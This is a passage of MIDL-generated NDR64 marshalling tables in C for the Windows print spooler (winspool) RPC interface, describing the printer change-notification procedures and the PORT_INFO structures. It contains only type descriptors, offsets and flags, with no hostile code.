0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *short */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 32 /* 0x20 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag762\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag760_t __midl_frag760 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag757_t __midl_frag757 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag756_t __midl_frag756 =\n{ \n/* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n    { \n    /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *RPC_V2_NOTIFY_OPTIONS_TYPE */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag757\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 16 /* 0x10 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *short */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 32 /* 0x20 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag762\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag761\n    }\n};\n\nstatic const __midl_frag755_t __midl_frag755 =\n{ \n/* RPC_V2_NOTIFY_OPTIONS */\n    { \n    /* RPC_V2_NOTIFY_OPTIONS */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_V2_NOTIFY_OPTIONS */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag764,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag747_t __midl_frag747 =\n{ \n/* RpcRemoteFindFirstPrinterChangeNotificationEx */\n    { \n    /* RpcRemoteFindFirstPrinterChangeNotificationEx */      /* procedure RpcRemoteFindFirstPrinterChangeNotificationEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* fdwFlags */      /* parameter fdwFlags */\n        &__midl_frag1082,\n        { \n        /* fdwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* fdwOptions */      /* parameter fdwOptions */\n        &__midl_frag1082,\n        { \n        /* fdwOptions */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszLocalMachine */      /* parameter pszLocalMachine */\n        &__midl_frag1080,\n        { \n        /* pszLocalMachine */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwPrinterLocal */      /* parameter dwPrinterLocal */\n        &__midl_frag1082,\n        { \n        /* dwPrinterLocal */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pOptions */      /* parameter pOptions */\n        &__midl_frag778,\n        { \n        /* pOptions */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag742_t __midl_frag742 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 512 /* 0x200 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag741_t __midl_frag741 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag742\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag740_t __midl_frag740 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag741\n};\n\nstatic const __midl_frag739_t __midl_frag739 =\n{ \n/* DWORD */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 512 /* 0x200 */\n};\n\nstatic const __midl_frag732_t __midl_frag732 =\n{ \n/* RpcRemoteFindFirstPrinterChangeNotification */\n    { \n    /* RpcRemoteFindFirstPrinterChangeNotification */      /* procedure RpcRemoteFindFirstPrinterChangeNotification */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* fdwFlags */      /* parameter fdwFlags */\n        &__midl_frag1082,\n        { \n        /* fdwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* fdwOptions */      /* parameter fdwOptions */\n        &__midl_frag1082,\n        { \n        /* fdwOptions */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszLocalMachine */      /* parameter pszLocalMachine */\n        &__midl_frag1080,\n        { \n        /* pszLocalMachine */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwPrinterLocal */      /* parameter dwPrinterLocal */\n        &__midl_frag1082,\n        { \n        /* dwPrinterLocal */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuffer */      /* parameter cbBuffer */\n        &__midl_frag739,\n        { \n        /* cbBuffer */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pBuffer */      /* parameter pBuffer */\n        &__midl_frag740,\n        { \n        /* pBuffer */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag728_t __midl_frag728 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag725\n    }\n};\n\nstatic const __midl_frag725_t __midl_frag725 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag795\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag724_t __midl_frag724 =\n{ \n/* PORT_VAR_CONTAINER */\n    { \n    /* PORT_VAR_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_VAR_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag728,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag723_t __midl_frag723 =\n{ \n/* *PORT_VAR_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag724\n};\n\nstatic const __midl_frag722_t __midl_frag722 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag719_t __midl_frag719 =\n{ \n/* PORT_INFO_FF */\n    { \n    /* PORT_INFO_FF */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_FF */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag722,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag718_t __midl_frag718 =\n{ \n/* *PORT_INFO_FF */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag719\n};\n\nstatic const __midl_frag717_t __midl_frag717 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag715_t __midl_frag715 =\n{ \n/* PORT_INFO_3 */\n    { \n    /* PORT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag717,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* PORT_INFO_3 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag714_t __midl_frag714 =\n{ \n/* *PORT_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag715\n};\n\nstatic const __midl_frag710_t __midl_frag710 =\n{ \n/* PORT_INFO_2 */\n    { \n    /* PORT_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag709_t __midl_frag709 =\n{ \n/* *PORT_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag710\n};\n\nstatic const __midl_frag707_t __midl_frag707 =\n{ \n/* PORT_INFO_1 */\n    { \n    /* PORT_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1081\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag706_t __midl_frag706 =\n{ \n/* *PORT_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag707\n};\n\nstatic const __midl_frag705_t __midl_frag705 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x1b,    /* OP_AND */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 16777215 /* 0xffffff */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag704_t __midl_frag704 =\n{ \n/* __MIDL_winspool_0008 */\n    { \n    /* __MIDL_winspool_0008 */\n        0x51,    /* 